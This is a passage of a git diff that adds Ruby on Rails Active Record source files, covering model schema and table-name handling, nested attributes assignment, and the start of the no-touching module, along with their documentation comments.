+      class_attribute :schema_migrations_table_name, instance_accessor: false, default: "schema_migrations"
+      class_attribute :internal_metadata_table_name, instance_accessor: false, default: "ar_internal_metadata"
+      class_attribute :protected_environments, instance_accessor: false, default: [ "production" ]
+      class_attribute :pluralize_table_names, instance_writer: false, default: true
+      class_attribute :ignored_columns, instance_accessor: false, default: [].freeze
+
+      self.inheritance_column = "type"
+
+      delegate :type_for_attribute, to: :class
+
+      initialize_load_schema_monitor
+    end
+
+    # Derives the join table name for +first_table+ and +second_table+. The
+    # table names appear in alphabetical order. A common prefix is removed
+    # (useful for namespaced models like Music::Artist and Music::Record):
+    #
+    #   artists, records => artists_records
+    #   records, artists => artists_records
+    #   music_artists, music_records => music_artists_records
+    def self.derive_join_table_name(first_table, second_table) # :nodoc:
+      [first_table.to_s, second_table.to_s].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+    end
+
+    module ClassMethods
+      # Guesses the table name (in forced lower-case) based on the name of the class in the
+      # inheritance hierarchy descending directly from ActiveRecord::Base. So if the hierarchy
+      # looks like: Reply < Message < ActiveRecord::Base, then Message is used
+      # to guess the table name even when called on Reply. The rules used to do the guess
+      # are handled by the Inflector class in Active Support, which knows almost all common
+      # English inflections. You can add new inflections in config/initializers/inflections.rb.
+      #
+      # Nested classes are given table names prefixed by the singular form of
+      # the parent's table name. Enclosing modules are not considered.
+      #
+      # ==== Examples
+      #
+      #   class Invoice < ActiveRecord::Base
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice.rb            Invoice             invoices
+      #
+      #   class Invoice < ActiveRecord::Base
+      #     class Lineitem < ActiveRecord::Base
+      #     end
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice.rb            Invoice::Lineitem   invoice_lineitems
+      #
+      #   module Invoice
+      #     class Lineitem < ActiveRecord::Base
+      #     end
+      #   end
+      #
+      #   file                  class               table_name
+      #   invoice/lineitem.rb   Invoice::Lineitem   lineitems
+      #
+      # Additionally, the class-level +table_name_prefix+ is prepended and the
+      # +table_name_suffix+ is appended. So if you have "myapp_" as a prefix,
+      # the table name guess for an Invoice class becomes "myapp_invoices".
+      # Invoice::Lineitem becomes "myapp_invoice_lineitems".
+      #
+      # You can also set your own table name explicitly:
+      #
+      #   class Mouse < ActiveRecord::Base
+      #     self.table_name = "mice"
+      #   end
+      def table_name
+        reset_table_name unless defined?(@table_name)
+        @table_name
+      end
+
+      # Sets the table name explicitly. Example:
+      #
+      #   class Project < ActiveRecord::Base
+      #     self.table_name = "project"
+      #   end
+      def table_name=(value)
+        value = value && value.to_s
+
+        if defined?(@table_name)
+          return if value == @table_name
+          reset_column_information if connected?
+        end
+
+        @table_name        = value
+        @quoted_table_name = nil
+        @arel_table        = nil
+        @sequence_name     = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
+        @predicate_builder = nil
+      end
+
+      # Returns a quoted version of the table name, used to construct SQL statements.
+      def quoted_table_name
+        @quoted_table_name ||= connection.quote_table_name(table_name)
+      end
+
+      # Computes the table name, (re)sets it internally, and returns it.
+      def reset_table_name #:nodoc:
+        self.table_name = if abstract_class?
+          superclass == Base ? nil : superclass.table_name
+        elsif superclass.abstract_class?
+          superclass.table_name || compute_table_name
+        else
+          compute_table_name
+        end
+      end
+
+      def full_table_name_prefix #:nodoc:
+        (parents.detect { |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
+      end
+
+      def full_table_name_suffix #:nodoc:
+        (parents.detect { |p| p.respond_to?(:table_name_suffix) } || self).table_name_suffix
+      end
+
+      # Defines the name of the table column which will store the class name on single-table
+      # inheritance situations.
+      #
+      # The default inheritance column name is +type+, which means it's a
+      # reserved word inside Active Record. To be able to use single-table
+      # inheritance with another column name, or to use the column +type+ in
+      # your own model for something else, you can set +inheritance_column+:
+      #
+      #     self.inheritance_column = 'zoink'
+      def inheritance_column
+        (@inheritance_column ||= nil) || superclass.inheritance_column
+      end
+
+      # Sets the value of inheritance_column
+      def inheritance_column=(value)
+        @inheritance_column = value.to_s
+        @explicit_inheritance_column = true
+      end
+
+      def sequence_name
+        if base_class == self
+          @sequence_name ||= reset_sequence_name
+        else
+          (@sequence_name ||= nil) || base_class.sequence_name
+        end
+      end
+
+      def reset_sequence_name #:nodoc:
+        @explicit_sequence_name = false
+        @sequence_name          = connection.default_sequence_name(table_name, primary_key)
+      end
+
+      # Sets the name of the sequence to use when generating ids to the given
+      # value, or (if the value is +nil+ or +false+) to the value returned by the
+      # given block. This is required for Oracle and is useful for any
+      # database which relies on sequences for primary key generation.
+      #
+      # If a sequence name is not explicitly set when using Oracle,
+      # it will default to the commonly used pattern of: #{table_name}_seq
+      #
+      # If a sequence name is not explicitly set when using PostgreSQL, it
+      # will discover the sequence corresponding to your primary key for you.
+      #
+      #   class Project < ActiveRecord::Base
+      #     self.sequence_name = "projectseq"   # default would have been "project_seq"
+      #   end
+      def sequence_name=(value)
+        @sequence_name          = value.to_s
+        @explicit_sequence_name = true
+      end
+
+      # Determines if the primary key values should be selected from their
+      # corresponding sequence before the insert statement.
+      def prefetch_primary_key?
+        connection.prefetch_primary_key?(table_name)
+      end
+
+      # Returns the next value that will be used as the primary key on
+      # an insert statement.
+      def next_sequence_value
+        connection.next_sequence_value(sequence_name)
+      end
+
+      # Indicates whether the table associated with this class exists
+      def table_exists?
+        connection.schema_cache.data_source_exists?(table_name)
+      end
+
+      def attributes_builder # :nodoc:
+        @attributes_builder ||= AttributeSet::Builder.new(attribute_types, primary_key) do |name|
+          unless columns_hash.key?(name)
+            _default_attributes[name].dup
+          end
+        end
+      end
+
+      def columns_hash # :nodoc:
+        load_schema
+        @columns_hash
+      end
+
+      def columns
+        load_schema
+        @columns ||= columns_hash.values
+      end
+
+      def attribute_types # :nodoc:
+        load_schema
+        @attribute_types ||= Hash.new(Type.default_value)
+      end
+
+      def yaml_encoder # :nodoc:
+        @yaml_encoder ||= AttributeSet::YAMLEncoder.new(attribute_types)
+      end
+
+      # Returns the type of the attribute with the given name, after applying
+      # all modifiers. This method is the only valid source of information for
+      # anything related to the types of a model's attributes. This method will
+      # access the database and load the model's schema if it is required.
+      #
+      # The return value of this method will implement the interface described
+      # by ActiveModel::Type::Value (though the object itself may not subclass
+      # it).
+      #
+      # +attr_name+ The name of the attribute to retrieve the type for. Must be
+      # a string
+      def type_for_attribute(attr_name, &block)
+        if block
+          attribute_types.fetch(attr_name, &block)
+        else
+          attribute_types[attr_name]
+        end
+      end
+
+      # Returns a hash where the keys are column names and the values are
+      # default values when instantiating the Active Record object for this table.
+      def column_defaults
+        load_schema
+        @column_defaults ||= _default_attributes.to_hash
+      end
+
+      def _default_attributes # :nodoc:
+        @default_attributes ||= AttributeSet.new({})
+      end
+
+      # Returns an array of column names as strings.
+      def column_names
+        @column_names ||= columns.map(&:name)
+      end
+
+      # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
+      # and columns used for single table inheritance have been removed.
+      def content_columns
+        @content_columns ||= columns.reject do |c|
+          c.name == primary_key ||
+          c.name == inheritance_column ||
+          c.name.end_with?("_id") ||
+          c.name.end_with?("_count")
+        end
+      end
+
+      # Resets all the cached information about columns, which will cause them
+      # to be reloaded on the next request.
+      #
+      # The most common usage pattern for this method is probably in a migration,
+      # when just after creating a table you want to populate it with some default
+      # values, eg:
+      #
+      #  class CreateJobLevels < ActiveRecord::Migration[5.0]
+      #    def up
+      #      create_table :job_levels do |t|
+      #        t.integer :id
+      #        t.string :name
+      #
+      #        t.timestamps
+      #      end
+      #
+      #      JobLevel.reset_column_information
+      #      %w{assistant executive manager director}.each do |type|
+      #        JobLevel.create(name: type)
+      #      end
+      #    end
+      #
+      #    def down
+      #      drop_table :job_levels
+      #    end
+      #  end
+      def reset_column_information
+        connection.clear_cache!
+        undefine_attribute_methods
+        connection.schema_cache.clear_data_source_cache!(table_name)
+
+        reload_schema_from_cache
+        initialize_find_by_cache
+      end
+
+      protected
+
+        def initialize_load_schema_monitor
+          @load_schema_monitor = Monitor.new
+        end
+
+      private
+
+        def inherited(child_class)
+          super
+          child_class.initialize_load_schema_monitor
+        end
+
+        def schema_loaded?
+          defined?(@schema_loaded) && @schema_loaded
+        end
+
+        def load_schema
+          return if schema_loaded?
+          @load_schema_monitor.synchronize do
+            return if defined?(@columns_hash) && @columns_hash
+
+            load_schema!
+
+            @schema_loaded = true
+          end
+        end
+
+        def load_schema!
+          @columns_hash = connection.schema_cache.columns_hash(table_name).except(*ignored_columns)
+          @columns_hash.each do |name, column|
+            define_attribute(
+              name,
+              connection.lookup_cast_type_from_column(column),
+              default: column.default,
+              user_provided_default: false
+            )
+          end
+        end
+
+        def reload_schema_from_cache
+          @arel_table = nil
+          @column_names = nil
+          @attribute_types = nil
+          @content_columns = nil
+          @default_attributes = nil
+          @column_defaults = nil
+          @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+          @attributes_builder = nil
+          @columns = nil
+          @columns_hash = nil
+          @schema_loaded = false
+          @attribute_names = nil
+          @yaml_encoder = nil
+          direct_descendants.each do |descendant|
+            descendant.send(:reload_schema_from_cache)
+          end
+        end
+
+        # Guesses the table name, but does not decorate it with prefix and suffix information.
+        def undecorated_table_name(class_name = base_class.name)
+          table_name = class_name.to_s.demodulize.underscore
+          pluralize_table_names ? table_name.pluralize : table_name
+        end
+
+        # Computes and returns a table name according to default conventions.
+        def compute_table_name
+          base = base_class
+          if self == base
+            # Nested classes are prefixed with singular parent table name.
+            if parent < Base && !parent.abstract_class?
+              contained = parent.table_name
+              contained = contained.singularize if parent.pluralize_table_names
+              contained += "_"
+            end
+
+            "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{full_table_name_suffix}"
+          else
+            # STI subclasses always use their superclass' table.
+            base.table_name
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
new file mode 100644
index 0000000000..1864ca5ad2
--- /dev/null
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -0,0 +1,589 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/object/try"
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActiveRecord
+  module NestedAttributes #:nodoc:
+    class TooManyRecords < ActiveRecordError
+    end
+
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :nested_attributes_options, instance_writer: false, default: {}
+    end
+
+    # = Active Record Nested Attributes
+    #
+    # Nested attributes allow you to save attributes on associated records
+    # through the parent. By default nested attribute updating is turned off
+    # and you can enable it using the accepts_nested_attributes_for class
+    # method. When you enable nested attributes an attribute writer is
+    # defined on the model.
+    #
+    # The attribute writer is named after the association, which means that
+    # in the following example, two new methods are added to your model:
+    #
+    # <tt>author_attributes=(attributes)</tt> and
+    # <tt>pages_attributes=(attributes)</tt>.
+    #
+    #   class Book < ActiveRecord::Base
+    #     has_one :author
+    #     has_many :pages
+    #
+    #     accepts_nested_attributes_for :author, :pages
+    #   end
+    #
+    # Note that the <tt>:autosave</tt> option is automatically enabled on every
+    # association that accepts_nested_attributes_for is used for.
+    #
+    # === One-to-one
+    #
+    # Consider a Member model that has one Avatar:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar
+    #   end
+    #
+    # Enabling nested attributes on a one-to-one association allows you to
+    # create the member and avatar in one go:
+    #
+    #   params = { member: { name: 'Jack', avatar_attributes: { icon: 'smiling' } } }
+    #   member = Member.create(params[:member])
+    #   member.avatar.id # => 2
+    #   member.avatar.icon # => 'smiling'
+    #
+    # It also allows you to update the avatar through the member:
+    #
+    #   params = { member: { avatar_attributes: { id: '2', icon: 'sad' } } }
+    #   member.update params[:member]
+    #   member.avatar.icon # => 'sad'
+    #
+    # By default you will only be able to set and update attributes on the
+    # associated model. If you want to destroy the associated model through the
+    # attributes hash, you have to enable it first using the
+    # <tt>:allow_destroy</tt> option.
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar, allow_destroy: true
+    #   end
+    #
+    # Now, when you add the <tt>_destroy</tt> key to the attributes hash, with a
+    # value that evaluates to +true+, you will destroy the associated model:
+    #
+    #   member.avatar_attributes = { id: '2', _destroy: '1' }
+    #   member.avatar.marked_for_destruction? # => true
+    #   member.save
+    #   member.reload.avatar # => nil
+    #
+    # Note that the model will _not_ be destroyed until the parent is saved.
+    #
+    # Also note that the model will not be destroyed unless you also specify
+    # its id in the updated hash.
+    #
+    # === One-to-many
+    #
+    # Consider a member that has a number of posts:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts
+    #   end
+    #
+    # You can now set or update attributes on the associated posts through
+    # an attribute hash for a member: include the key +:posts_attributes+
+    # with an array of hashes of post attributes as a value.
+    #
+    # For each hash that does _not_ have an <tt>id</tt> key a new record will
+    # be instantiated, unless the hash also contains a <tt>_destroy</tt> key
+    # that evaluates to +true+.
+    #
+    #   params = { member: {
+    #     name: 'joe', posts_attributes: [
+    #       { title: 'Kari, the awesome Ruby documentation browser!' },
+    #       { title: 'The egalitarian assumption of the modern citizen' },
+    #       { title: '', _destroy: '1' } # this will be ignored
+    #     ]
+    #   }}
+    #
+    #   member = Member.create(params[:member])
+    #   member.posts.length # => 2
+    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+    #
+    # You may also set a +:reject_if+ proc to silently ignore any new record
+    # hashes if they fail to pass your criteria. For example, the previous
+    # example could be rewritten as:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
+    #   end
+    #
+    #   params = { member: {
+    #     name: 'joe', posts_attributes: [
+    #       { title: 'Kari, the awesome Ruby documentation browser!' },
+    #       { title: 'The egalitarian assumption of the modern citizen' },
+    #       { title: '' } # this will be ignored because of the :reject_if proc
+    #     ]
+    #   }}
+    #
+    #   member = Member.create(params[:member])
+    #   member.posts.length # => 2
+    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+    #
+    # Alternatively, +:reject_if+ also accepts a symbol for using methods:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts, reject_if: :new_record?
+    #   end
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts, reject_if: :reject_posts
+    #
+    #     def reject_posts(attributes)
+    #       attributes['title'].blank?
+    #     end
+    #   end
+    #
+    # If the hash contains an <tt>id</tt> key that matches an already
+    # associated record, the matching record will be modified:
+    #
+    #   member.attributes = {
+    #     name: 'Joe',
+    #     posts_attributes: [
+    #       { id: 1, title: '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+    #       { id: 2, title: '[UPDATED] other post' }
+    #     ]
+    #   }
+    #
+    #   member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+    #   member.posts.second.title # => '[UPDATED] other post'
+    #
+    # However, the above applies if the parent model is being updated as well.
+    # For example, If you wanted to create a +member+ named _joe_ and wanted to
+    # update the +posts+ at the same time, that would give an
+    # ActiveRecord::RecordNotFound error.
+    #
+    # By default the associated records are protected from being destroyed. If
+    # you want to destroy any of the associated records through the attributes
+    # hash, you have to enable it first using the <tt>:allow_destroy</tt>
+    # option. This will allow you to also use the <tt>_destroy</tt> key to
+    # destroy existing records:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts, allow_destroy: true
+    #   end
+    #
+    #   params = { member: {
+    #     posts_attributes: [{ id: '2', _destroy: '1' }]
+    #   }}
+    #
+    #   member.attributes = params[:member]
+    #   member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+    #   member.posts.length # => 2
+    #   member.save
+    #   member.reload.posts.length # => 1
+    #
+    # Nested attributes for an associated collection can also be passed in
+    # the form of a hash of hashes instead of an array of hashes:
+    #
+    #   Member.create(
+    #     name: 'joe',
+    #     posts_attributes: {
+    #       first:  { title: 'Foo' },
+    #       second: { title: 'Bar' }
+    #     }
+    #   )
+    #
+    # has the same effect as
+    #
+    #   Member.create(
+    #     name: 'joe',
+    #     posts_attributes: [
+    #       { title: 'Foo' },
+    #       { title: 'Bar' }
+    #     ]
+    #   )
+    #
+    # The keys of the hash which is the value for +:posts_attributes+ are
+    # ignored in this case.
+    # However, it is not allowed to use <tt>'id'</tt> or <tt>:id</tt> for one of
+    # such keys, otherwise the hash will be wrapped in an array and
+    # interpreted as an attribute hash for a single post.
+    #
+    # Passing attributes for an associated collection in the form of a hash
+    # of hashes can be used with hashes generated from HTTP/HTML parameters,
+    # where there may be no natural way to submit an array of hashes.
+    #
+    # === Saving
+    #
+    # All changes to models, including the destruction of those marked for
+    # destruction, are saved and destroyed automatically and atomically when
+    # the parent model is saved. This happens inside the transaction initiated
+    # by the parent's save method. See ActiveRecord::AutosaveAssociation.
+    #
+    # === Validating the presence of a parent model
+    #
+    # If you want to validate that a child record is associated with a parent
+    # record, you can use the +validates_presence_of+ method and the +:inverse_of+
+    # key as this example illustrates:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts, inverse_of: :member
+    #     accepts_nested_attributes_for :posts
+    #   end
+    #
+    #   class Post < ActiveRecord::Base
+    #     belongs_to :member, inverse_of: :posts
+    #     validates_presence_of :member
+    #   end
+    #
+    # Note that if you do not specify the +:inverse_of+ option, then
+    # Active Record will try to automatically guess the inverse association
+    # based on heuristics.
+    #
+    # For one-to-one nested associations, if you build the new (in-memory)
+    # child object yourself before assignment, then this module will not
+    # overwrite it, e.g.:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar
+    #
+    #     def avatar
+    #       super || build_avatar(width: 200)
+    #     end
+    #   end
+    #
+    #   member = Member.new
+    #   member.avatar_attributes = {icon: 'sad'}
+    #   member.avatar.width # => 200
+    module ClassMethods
+      REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == "_destroy" || value.blank? } }
+
+      # Defines an attributes writer for the specified association(s).
+      #
+      # Supported options:
+      # [:allow_destroy]
+      #   If true, destroys any members from the attributes hash with a
+      #   <tt>_destroy</tt> key and a value that evaluates to +true+
+      #   (eg. 1, '1', true, or 'true'). This option is off by default.
+      # [:reject_if]
+      #   Allows you to specify a Proc or a Symbol pointing to a method
+      #   that checks whether a record should be built for a certain attribute
+      #   hash. The hash is passed to the supplied Proc or the method
+      #   and it should return either +true+ or +false+. When no +:reject_if+
+      #   is specified, a record will be built for all attribute hashes that
+      #   do not have a <tt>_destroy</tt> value that evaluates to true.
+      #   Passing <tt>:all_blank</tt> instead of a Proc will create a proc
+      #   that will reject a record where all the attributes are blank excluding
+      #   any value for +_destroy+.
+      # [:limit]
+      #   Allows you to specify the maximum number of associated records that
+      #   can be processed with the nested attributes. Limit also can be specified
+      #   as a Proc or a Symbol pointing to a method that should return a number.
+      #   If the size of the nested attributes array exceeds the specified limit,
+      #   NestedAttributes::TooManyRecords exception is raised. If omitted, any
+      #   number of associations can be processed.
+      #   Note that the +:limit+ option is only applicable to one-to-many
+      #   associations.
+      # [:update_only]
+      #   For a one-to-one association, this option allows you to specify how
+      #   nested attributes are going to be used when an associated record already
+      #   exists. In general, an existing record may either be updated with the
+      #   new set of attribute values or be replaced by a wholly new record
+      #   containing those values. By default the +:update_only+ option is +false+
+      #   and the nested attributes are used to update the existing record only
+      #   if they include the record's <tt>:id</tt> value. Otherwise a new
+      #   record will be instantiated and used to replace the existing one.
+      #   However if the +:update_only+ option is +true+, the nested attributes
+      #   are used to update the record's attributes always, regardless of
+      #   whether the <tt>:id</tt> is present. The option is ignored for collection
+      #   associations.
+      #
+      # Examples:
+      #   # creates avatar_attributes=
+      #   accepts_nested_attributes_for :avatar, reject_if: proc { |attributes| attributes['name'].blank? }
+      #   # creates avatar_attributes=
+      #   accepts_nested_attributes_for :avatar, reject_if: :all_blank
+      #   # creates avatar_attributes= and posts_attributes=
+      #   accepts_nested_attributes_for :avatar, :posts, allow_destroy: true
+      def accepts_nested_attributes_for(*attr_names)
+        options = { allow_destroy: false, update_only: false }
+        options.update(attr_names.extract_options!)
+        options.assert_valid_keys(:allow_destroy, :reject_if, :limit, :update_only)
+        options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
+
+        attr_names.each do |association_name|
+          if reflection = _reflect_on_association(association_name)
+            reflection.autosave = true
+            define_autosave_validation_callbacks(reflection)
+
+            nested_attributes_options = self.nested_attributes_options.dup
+            nested_attributes_options[association_name.to_sym] = options
+            self.nested_attributes_options = nested_attributes_options
+
+            type = (reflection.collection? ? :collection : :one_to_one)
+            generate_association_writer(association_name, type)
+          else
+            raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
+          end
+        end
+      end
+
+      private
+
+        # Generates a writer method for this association. Serves as a point for
+        # accessing the objects in the association. For example, this method
+        # could generate the following:
+        #
+        #   def pirate_attributes=(attributes)
+        #     assign_nested_attributes_for_one_to_one_association(:pirate, attributes)
+        #   end
+        #
+        # This redirects the attempts to write objects in an association through
+        # the helper methods defined below. Makes it seem like the nested
+        # associations are just regular associations.
+        def generate_association_writer(association_name, type)
+          generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+            if method_defined?(:#{association_name}_attributes=)
+              remove_method(:#{association_name}_attributes=)
+            end
+            def #{association_name}_attributes=(attributes)
+              assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
+            end
+          eoruby
+        end
+    end
+
+    # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
+    # used in conjunction with fields_for to build a form element for the
+    # destruction of this association.
+    #
+    # See ActionView::Helpers::FormHelper::fields_for for more info.
+    def _destroy
+      marked_for_destruction?
+    end
+
+    private
+
+      # Attribute hash keys that should not be assigned as normal attributes.
+      # These hash keys are nested attributes implementation details.
+      UNASSIGNABLE_KEYS = %w( id _destroy )
+
+      # Assigns the given attributes to the association.
+      #
+      # If an associated record does not yet exist, one will be instantiated. If
+      # an associated record already exists, the method's behavior depends on
+      # the value of the update_only option. If update_only is +false+ and the
+      # given attributes include an <tt>:id</tt> that matches the existing record's
+      # id, then the existing record will be modified. If no <tt>:id</tt> is provided
+      # it will be replaced with a new record. If update_only is +true+ the existing
+      # record will be modified regardless of whether an <tt>:id</tt> is provided.
+      #
+      # If the given attributes include a matching <tt>:id</tt> attribute, or
+      # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
+      # then the existing record will be marked for destruction.
+      def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
+        options = nested_attributes_options[association_name]
+        if attributes.respond_to?(:permitted?)
+          attributes = attributes.to_h
+        end
+        attributes = attributes.with_indifferent_access
+        existing_record = send(association_name)
+
+        if (options[:update_only] || !attributes["id"].blank?) && existing_record &&
+            (options[:update_only] || existing_record.id.to_s == attributes["id"].to_s)
+          assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)
+
+        elsif attributes["id"].present?
+          raise_nested_attributes_record_not_found!(association_name, attributes["id"])
+
+        elsif !reject_new_record?(association_name, attributes)
+          assignable_attributes = attributes.except(*UNASSIGNABLE_KEYS)
+
+          if existing_record && existing_record.new_record?
+            existing_record.assign_attributes(assignable_attributes)
+            association(association_name).initialize_attributes(existing_record)
+          else
+            method = "build_#{association_name}"
+            if respond_to?(method)
+              send(method, assignable_attributes)
+            else
+              raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
+            end
+          end
+        end
+      end
+
+      # Assigns the given attributes to the collection association.
+      #
+      # Hashes with an <tt>:id</tt> value matching an existing associated record
+      # will update that record. Hashes without an <tt>:id</tt> value will build
+      # a new record for the association. Hashes with a matching <tt>:id</tt>
+      # value and a <tt>:_destroy</tt> key set to a truthy value will mark the
+      # matched record for destruction.
+      #
+      # For example:
+      #
+      #   assign_nested_attributes_for_collection_association(:people, {
+      #     '1' => { id: '1', name: 'Peter' },
+      #     '2' => { name: 'John' },
+      #     '3' => { id: '2', _destroy: true }
+      #   })
+      #
+      # Will update the name of the Person with ID 1, build a new associated
+      # person with the name 'John', and mark the associated Person with ID 2
+      # for destruction.
+      #
+      # Also accepts an Array of attribute hashes:
+      #
+      #   assign_nested_attributes_for_collection_association(:people, [
+      #     { id: '1', name: 'Peter' },
+      #     { name: 'John' },
+      #     { id: '2', _destroy: true }
+      #   ])
+      def assign_nested_attributes_for_collection_association(association_name, attributes_collection)
+        options = nested_attributes_options[association_name]
+        if attributes_collection.respond_to?(:permitted?)
+          attributes_collection = attributes_collection.to_h
+        end
+
+        unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
+          raise ArgumentError, "Hash or Array expected for attribute `#{association_name}`, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
+        end
+
+        check_record_limit!(options[:limit], attributes_collection)
+
+        if attributes_collection.is_a? Hash
+          keys = attributes_collection.keys
+          attributes_collection = if keys.include?("id") || keys.include?(:id)
+            [attributes_collection]
+          else
+            attributes_collection.values
+          end
+        end
+
+        association = association(association_name)
+
+        existing_records = if association.loaded?
+          association.target
+        else
+          attribute_ids = attributes_collection.map { |a| a["id"] || a[:id] }.compact
+          attribute_ids.empty? ? [] : association.scope.where(association.klass.primary_key => attribute_ids)
+        end
+
+        attributes_collection.each do |attributes|
+          if attributes.respond_to?(:permitted?)
+            attributes = attributes.to_h
+          end
+          attributes = attributes.with_indifferent_access
+
+          if attributes["id"].blank?
+            unless reject_new_record?(association_name, attributes)
+              association.build(attributes.except(*UNASSIGNABLE_KEYS))
+            end
+          elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes["id"].to_s }
+            unless call_reject_if(association_name, attributes)
+              # Make sure we are operating on the actual object which is in the association's
+              # proxy_target array (either by finding it, or adding it if not found)
+              # Take into account that the proxy_target may have changed due to callbacks
+              target_record = association.target.detect { |record| record.id.to_s == attributes["id"].to_s }
+              if target_record
+                existing_record = target_record
+              else
+                association.add_to_target(existing_record, :skip_callbacks)
+              end
+
+              assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
+            end
+          else
+            raise_nested_attributes_record_not_found!(association_name, attributes["id"])
+          end
+        end
+      end
+
+      # Takes in a limit and checks if the attributes_collection has too many
+      # records. It accepts limit in the form of symbol, proc, or
+      # number-like object (anything that can be compared with an integer).
+      #
+      # Raises TooManyRecords error if the attributes_collection is
+      # larger than the limit.
+      def check_record_limit!(limit, attributes_collection)
+        if limit
+          limit = \
+            case limit
+            when Symbol
+              send(limit)
+            when Proc
+              limit.call
+            else
+              limit
+            end
+
+          if limit && attributes_collection.size > limit
+            raise TooManyRecords, "Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead."
+          end
+        end
+      end
+
+      # Updates a record with the +attributes+ or marks it for destruction if
+      # +allow_destroy+ is +true+ and has_destroy_flag? returns +true+.
+      def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
+        record.assign_attributes(attributes.except(*UNASSIGNABLE_KEYS))
+        record.mark_for_destruction if has_destroy_flag?(attributes) && allow_destroy
+      end
+
+      # Determines if a hash contains a truthy _destroy key.
+      def has_destroy_flag?(hash)
+        Type::Boolean.new.cast(hash["_destroy"])
+      end
+
+      # Determines if a new record should be rejected by checking
+      # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
+      # association and evaluates to +true+.
+      def reject_new_record?(association_name, attributes)
+        will_be_destroyed?(association_name, attributes) || call_reject_if(association_name, attributes)
+      end
+
+      # Determines if a record with the particular +attributes+ should be
+      # rejected by calling the reject_if Symbol or Proc (if defined).
+      # The reject_if option is defined by +accepts_nested_attributes_for+.
+      #
+      # Returns false if there is a +destroy_flag+ on the attributes.
+      def call_reject_if(association_name, attributes)
+        return false if will_be_destroyed?(association_name, attributes)
+
+        case callback = nested_attributes_options[association_name][:reject_if]
+        when Symbol
+          method(callback).arity == 0 ? send(callback) : send(callback, attributes)
+        when Proc
+          callback.call(attributes)
+        end
+      end
+
+      # Only take into account the destroy flag if <tt>:allow_destroy</tt> is true
+      def will_be_destroyed?(association_name, attributes)
+        allow_destroy?(association_name) && has_destroy_flag?(attributes)
+      end
+
+      def allow_destroy?(association_name)
+        nested_attributes_options[association_name][:allow_destroy]
+      end
+
+      def raise_nested_attributes_record_not_found!(association_name, record_id)
+        model = self.class._reflect_on_association(association_name).klass.name
+        raise RecordNotFound.new("Couldn't find #{model} with ID=#{record_id} for #{self.class.name} with ID=#{id}",
+                                 model, "id", record_id)
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
new file mode 100644
index 0000000000..c573deb63a
--- /dev/null
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record No Touching
+  module NoTouching
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Lets you selectively disable calls to `touch` for the
+      # duration of a block.
+      #
+      # ==== Examples
+      #   ActiveRecord::Base.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # does nothing
+      #   end
+      #
+      #   Project.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # works, but does not touch the associated project
+      #   end
+      #
+      def no_touching(&block)
+        NoTouching.apply_to(self, &block)
+      end
+    end
+
+    class << self
+      def apply_to(klass) #:nodoc:
+        klasses.push(klass)
